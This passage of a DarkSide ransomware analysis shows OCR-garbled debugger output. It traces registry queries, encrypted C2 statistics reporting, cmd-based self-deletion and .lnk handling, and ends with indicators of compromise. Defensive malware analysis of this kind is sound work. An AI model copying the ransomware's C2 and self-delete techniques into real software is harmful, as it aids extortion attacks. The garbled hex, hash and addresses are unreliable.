: 5 00 Biishia X87TW_6 3 (Empty) XB7TW_7 3 (EmpTy)
H 68 19 01 02 00 push 20119
i 6A 00 push 0 x87Statusword 0000
f 6A 00 push 0 XB7SW_E 0 XB7SW.C3 0 XB7SW.CZ O
: 6A 00 push 0 ] XB7SW C1 0 XBFSW.CO O XB7SW_ES O
! 56 push esi esi:L" XB7SW_SF O x87SW_P 0 xB7SW U O
i 68 02 00 00 80 push 80000002
FF 15 EC 07 42 00 €all dword ptr ds:[<sRegcreatekeyExws] v
i T ——_————_—— EET = Default (stdcall) i
e = - 1t [espl 2
dword ptr [D04207EC <darkside.&ReqCreateKeyExWs]=<advapis2.RegireateKeyEXn> [esp+a] 0263350 L"SOFTWARE'\\M1crosoft\\Cryf
[esp+s] 00000000
. [esp+C]_00000000
. text:00401E65 darkside.exe: S1EGS #1265 5: [esp+10] 00ODOODO
o1 | g i i i W o P 80000002 ]
ump GWDump2  GJDump3  WLDump4  iyDumpS G2 wiatch 1 =llocals ;' Struct '0460FDB8 | 026335C0 | L"SOFTWARE\\Microsoft\\Cryptography"
Address | Hex ~ | e
i ©0460FDC 4 | 00000000
D460FDCS | 00020115
OIE0EERC D460FDCC | 00000000
G160k ECC (IDnRon 0460FDDO | 0460FETE
s s 0460FDD4 | D460FEGC
Figure 148
o T — M mi o Gswpiys  Awsm_s o Ly
8D 85 70 FF FF FF lea eax,dword ptr ss:[ebp-s0] X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
50 push eax
. 8 45 F8 Tea eax,dword ptr ss:[ebp-a] x875tatusword 0000
. 50 push eax X87SW_B X87SW_C3 0 XB7SW.CZ O
. 6A 00 push 0 X87SW_C1 0 XB7SW_CO 0 XS7SW_ES O
. 57 push edi ediiL” | x87SW_SF 0 XB7SW_P O X87SW_U O
. FF 75 FC push dword ptr ss:[ebp-4] =
EIP, FF 15 F4 07 42 00 €all dword perds: [<eRegQueryvalueExs] v
. T —— = 5 |Defaut (stdcal) -
1: [esp] 000007C4
dword ptr [004207F4 <darkside.&RegqueryvalueExw>]=<advapis2.RegqueryvalusExn> 2 Esglﬂ 026C7AZE L Machineguid”
3: [esp+s] 00000000
. : . 4: [esptC] D460FET4
.Text:00401EAZ darkside.exe:$1EAZ #12A2 Si [eapiid] 0460FDEC
3 000007C4
@ Dump 1 B2 Dump 2 Sebump3 B4 Dump 4 % Dump 5 @ watch 1 [x=Locals & struct 0460FDC4 | 026CTA28 | L"MachineGuid”
Address | Hex | AscIz |
046OFDEC [00] 0D 00 00|00 OO 00 00|20 00 00 00|00 00 00 00| k... A
04GOFDFC| 62 4F 96 BA 2 b0, °hp B Erons et

After the encryption finishes, the malware sends encryption statistics to the C2 server, such as: victim ID, uid, number
of encrypted files, size of encrypted files, number of skipped files and elapsed time. The final JSON structure looks

like the following:
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Address

02640520

02640530

02640540 | 0A 22 75 69

0264D550| 32 34 37 32

0264D560 | GE ¥5 6D 22

0264D570| 73 69 7A GBS

0264D580 | 23 6B 69 FO

0264D590| 22 65 6C 61

0264D5A0 | 3F 37 32 ZE 00 00 00 00| Z72.562" 0 Fo oo
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Figure 150

As already described so far regarding the C2 communication, the buffer is encrypted with a custom algorithm and

base64-encoded. The request sent to the C2 server is presented in the next picture:

0040941A 53 push ebx x87statusword 0000
00409418 FF 75 E8 push dword ptr ss:febp-15] [ebp-1 | x87SW_B 0 xB7SW.C3 0 XB7SW.C2 O
50 push eax X87SW_C1 0 XB7SW_.CO 0 x87SW_ES O

push dword ptr ss:[ebp-100 [ebp-1 X87SW_SF 0 XB7SW_P 0 X87SW_U o
push dword ptr =c:febp-C = :
€all dword ptr ds: [<aHrTpSendRequestws]

s .
,,,,,, d 5 | Default stdcal) - |[5 E]0 unk

bl 1: [esp] DOCCO0OC
dword ptr [00220910 <darkside.&HTTPSENdREqUESTWS:]=<wininet.HLTPSendReqUesTI> 2t EEng“] 026CADCS L*\r\nAccept: */+\r\nConne
3: [esp+B] 00000063
4: [esp+C] 0263ABCS "b74c08e6=C7qBaLps8jDIOPT40
5: [esp+1D] 000000EE

. text: 00409425 darkside.exe:$9425 #8825

. ‘D0CCOn0C

@oump1  @loumpz  @pump3  @Hoump4 | @Houmps @ watch1  Ix=lLocals? P fGE0PEAC | 026cADCE L™\r\nAccept: */*\r\nConnection: keep-alive\r\naccept-Encoding: g
Address | Hex ASCII A . . s
0263ABCS |62 a3 37 71 - Bracoaee—CrqBaLp Olﬁlﬂﬂig b74c08e6=C7qBALPS8jDIOPT409NL1X1VEBVGEI1IXW1 1L YZ3n4m1EUqOomvkgws T4
0263ABDS8 | 38 39 4E 4C EjDICIpE4EI9MTLXLV BC | 00000232
0263ABES | 42 7 6A 66 69 BWGEIlxXwljfiLvz3 00000304
0263ABF8 | 6GE 76 6B 677 nd4mlEUqomvkgwsT4 i 0460FEDD
0263AC08 | 6C L Tvy+E/IDOBZTD3UT

5| 0264D5AB

6

33

34

6C
0263AC18| 73 55 22 38 31| sHXTx1eIkuzalovi 0000008D
0263AC28| 76 35 59 G6E(69 4A 46 4E|vSWiPRDPXBYNniIFN 00ZFAS3E
0263AC38| 76 4F 39 7732 6B 34 50|v1TmaPayx09w2k4P 006F0038
0263AC48 | 44 36 6F 48(53 42 61 S5A|DRwwikdTXE0HSBAZ D06CO057
0263ACEE | 41 4B 36 4D |56 41 37 48| APSTLSZUAKGMVATH 00640028
0263AC68| 79 67 39 51|45 59 47 30|yel/buswhg9QEYGD 00510061
0263AC78 | 42 44 74 66(49 75 66 73|Bnjev4leSDtfIufs 005A004D
0263ACB8 | 45 52 70 4A(BE 41 32 4E|EQTRSCSTYRpINAZN 004D0D032
0263ACH2 | & 62 64 62|34 39 30 30|b7TE=&9afbdbd3=0

00

2
0263ACAS| 36

Figure 151

5382472634, .

If the self deletion feature would be enabled, Darkside would delete itself using ShellExecuteW:

00404090 68 04 01 00 00 push 104 X87SW_B 0 x87SW_C3 0 x87sw_C2 0O
004040A2 8D 85 E8 F9 FF FF Tea EEX,dNDf"d ptr ss: [Ehp-@ls] X87SW_C1 0 x87SW_CO 0 Xx87SW_ES O
004040A8 50 push eax XB7SW_SF 0 x875W_P 1 x875wW_U o
00404049 53 push ebx
FF 15 60 07 42 00 €a11 dword ptr ds:[<&Getenvironmentvariablew-]
% B Defaut (stdcal) ~|[s 2] 0 urloat
A= oS ‘026B09CO L"ComSpec™
dword ptr [00420760 <darkside.&Getenvi ronmentvar ablews]—<kernel3z. GetEnvironmentvariabl ens T D S T R
3: [esp+s] 00000104
. [esp+C] 003A0043
. Text:004040AA darkside.exe: S4DAA #34AA i [esp+10] 0055005C

. P 026B05C0 | L"Comspec”
“oumpl | Wioump2  Woump3  Woump4  Goumps @ wath1 el ) stuct %950 &LRETPs: //rumahsTa. com/ tVepwuix”
ST Tacrrr T 7=l 0013F744| 00000204

Figure 152

—— — N— Aosim_w 3 \Ewpiyy  Aesims 3 \Emiy)
004040C1 6A 00 puish 0 XB7TW_6 3 (Empty)  x87Tw_7 3 (Empty)
0040403 3D 85 FO FB FF FF Tea eax,dword ptr ss:[febp-410]
s 50 push eax x875tatusword 0020
D 85 E3 F3 FF FF lea eax,dword ptr ss:[ebp-c18] X87SW_B D x87SW.C3 0 x87SW.C2 O
50 push eax XB7SW_CL D x875W_CO O x875W_ES O
6A 00 push 0 X87SW_SF D Xx87SW_P 1 x87SWU O
6A 00 push 0 e
FF 15 DO 08 42 00 call dword ptr ds:[<ashellExecutens] v !
e , | Default (stocal) >[5 2] une
1t [es
dword ptr [00420800 <darkside.&ShellExecuten>]=<shell32.ShellExecutews A ] TSR
3: [esp+s] 0019FS50 L"C:\\WINDOWS\\System3z\\c
4: [esp+C] 0019FBSS L*/C DEL /F /G C:\\Users\\f
.Text:00404005 darkside.exe:$40D5 #3405 R e e S g i

s Dump J Dump 2 4 Dump 3 4 Dump 4 Joump5 & watch 1 [v=|Locals Ms
@Woump1 @Y o by Wy & wiatch Ix=l Local sthif G015 541 00000000

00000000
0019F950 | L"C: \\WINDOWS\\System32\\cmd. exe"”

Address | Hex | Asciz | o | a y o "
O01SF950 | 43 00 3A un‘sc 00 57 00]49 00 4E un|44 00 4F 00|@.:.%.W.I.N.D.O. e /e peL /F jq c:\\users\ [l \Deskrop\\darkside. exe >> NuL
0019F960(57 00 53 00|5C 00 73 00|79 00 73 00|74 DO 65 00|W.5.\.S.y.s.t.e. on oononoon
ittt S bl s et Sl i e TR O019F7 44| DO0D0OO0O

Figure 153
As we specified at the beginning of the analysis, the binary can run with different parameters:

e 1 parameter: filename — only this file will be encrypted
e 2 parameters: “-path” directory — only this directory will be encrypted

e 3 parameters: “~-work” workerQ jobO-<Process Id> — this is spawned by the initial process, already described

A particular case is handled by the ransomware differently when it deals with a shortcut file (.Ink file). Basically, the
binary wants to extract the full path to the file from this link. It calls the CoCreateInstance API with the CLSID of
{000214F9-0000-0000-C000-000000000046} (IShellLinkW interface):

x875tatusword 0020

® | 00403E: 50 push eax
. FF 75 F4 push dword ptr ss:[febp-cl X87SW_B 0 XB7SW.C3 0 xB7SwW.C2 O
. 64 01 push 1 X87SW_C1 0 XB7SW_.CO 0 xB7SW_ES O
. 64 00 push 0 X87SW_SF 0 XB7SW_P 1 X87SW_U o
. FF 75 F8 push dword ptr ss:[[ebp-s] s ¢
(EIP pu 11 FF 15 A3 08 42 00 call dword ptr ds:[<&CoCreateInstance>] W
. S e == , | Default (stdcal) +|[5 =00 unk
- 1: [esp] 02598FDO
dword ptr [004208A8 <darkside.&CoCreateInstance-]=<combase.CoCreateInstances 2: [espt+4] 00000000
3: [esp+8] 00000001
+ 4: [esp+C] 02598FF8
.TEXT:00403E66 darkside.exe:$3E66 #3266 5: [esp+lD] 0019FD14
@oump1  §Mpumpz  @ypumpz  @oump4  Boumps @ watch1  Ieellocals 4P
Address | Hex | AscIz
02598FF8 EE_H_Q;_D_Q‘DO 00 00 ou‘co 00 DO uo|uo 00 00 46‘u.. %gﬁg; ggigg;;ﬂ

Figure 154
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Unfortunately, Scylla didn’t help us here and it couldn’t provide us the methods. We’ve found that the next 2 function

calls are used to extract the path of the file/directory:

64 00 push 0 X875W_C1 0 XB7SW_CO 0O X87SW_E5 0

FF 75 08 push dword ptr ss:[febp+ o]

[ebp+s || x87SW_SF 0 xB7SW_P 1 x875W.U 0
FF 75 E8 push dword ptr ss:flebp-
FF 52 14 cu'l'l dwurd _ptr ds: [edx+14] edi+ls v
[ P 5 |Default (stdcal) ~ |[5_2] [ unlock
1: [esp] 0259443C
dword ptr [edx+14]=[windows.storage.73ACE964]=windows. STorage. 7 3880090 20 EESEL‘I o0z5978cs L c:\\Users\ ]l oesktop\ 0
3: [esp+a] 00000000
= . . 4: [esp+C] 0040B2BD <darkside.EntryPoints
.TeXT:00402E92 darkside.exe:§3E92 #3292 5: [esptlD] 00408280 <darkside.EntryPoints
. 0259449C
@oump:  @oumpz  @Woump3  WDump4  WWpumps B watth1 | bellocas | 4MelO0ToEe =4 | Dasanes | LuC: \\users', Jll\\Pesktop\\Dev-C . Tnk™
[addrass Tuex TascTr T YL
Figure 155
64 00 push 0 xB75tatuswWord 0020
6a 00 push 0 XB7SW_B 0 XB7SW.C3 O xB7SW.C2 0
65 00 40 00 0O push 4000 XB7SW_C1 O XB7SW_CO O xXB7SW_ES 0
FF 75 FC push dword ptr ss:[febp- 4] XB7SW_SF O XB7SW_P 1 XB7SW.U 0
FF 75 EC push dword ptr ss:flebp-14] -
FF 52 0OC cn11 dnord _ptr ds: [ednc]

edx+C: v
5 | Default (stcal) ~|[5 2] urlock

esp] 02594430

£sp+4] 025AF960
esp+8] 00004000
esp+C] 00000000
esp+10) 00000000

dword ptr [edx+C]=[windows.storage.73AC5980]=windows.storage.73B6FB30

wawnk

. TEXT:00403ECY darkside.exe: $3EC3 #32C3

02594490

Woump1  Woump2z  @4pump3  Woump4  WDumps B watch1 | bellocals  {aoioicee] 02carsco
0019FCFO | 00004000

Address | Hex st I * || oo13Fce4 | oooooooo
025AF960 [00] 00 00 un|nu 00 00 nu‘nn 00 00 nu‘nn 00 00 un| ................ | 0019FCES | 00000000

Figure 156

The file extracted above is encrypted as usual:

| Address | Hex |
025AF960 |43 00 3A OO(5C OO 50 00|72 OO0 GF OO|(67 0O 72 DD‘

025AF970| 61 00 6D 00|20 00 46 00|62 00 &C 0O0O|65 00 73 00
D25AF280( 20 00 28 00|78 00 38 00|36 0D 29 0OO(SC 0D 44 00
D25AF990 (65 00 F& 002D 00 43 00|70 0D 70 OO(SC OO0 &4 0O
D25AF9AD (65 OO0 F& 00|63 00 7O OO|70 0D 2E OO(65 OO0 78 0O
D25AF9BO| &5 OO0 OO OO|00 OO OO0 OO|00 00 OO0 0000 00 OO0 OO0

Figure 157
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C2 domains: baroquetees|.]com, rumahsia[.]Jcom
SHA256: 0AOC225FO0ESEE941A79F2B7701F1285E4975A2859EB4D025D96D9E366E81 ABB9

Created files: README<RansomPseudoValue>.TXT, %PROGRAMDATA%\<RansomPseudoValue>.BMP,
%PROGRAMDATA%\<RansomPseudoValue>.ico

Service Name: <RansomPseudoValue>, Service display name: <RansomPseudoValue>
Registry key: HKCR\<RansomPseudoValue>\Defaultlcon=%PROGRAMDATA%\<RansomPseudoValue>.ico

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0 (prone to False

Positives)

Source: https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/
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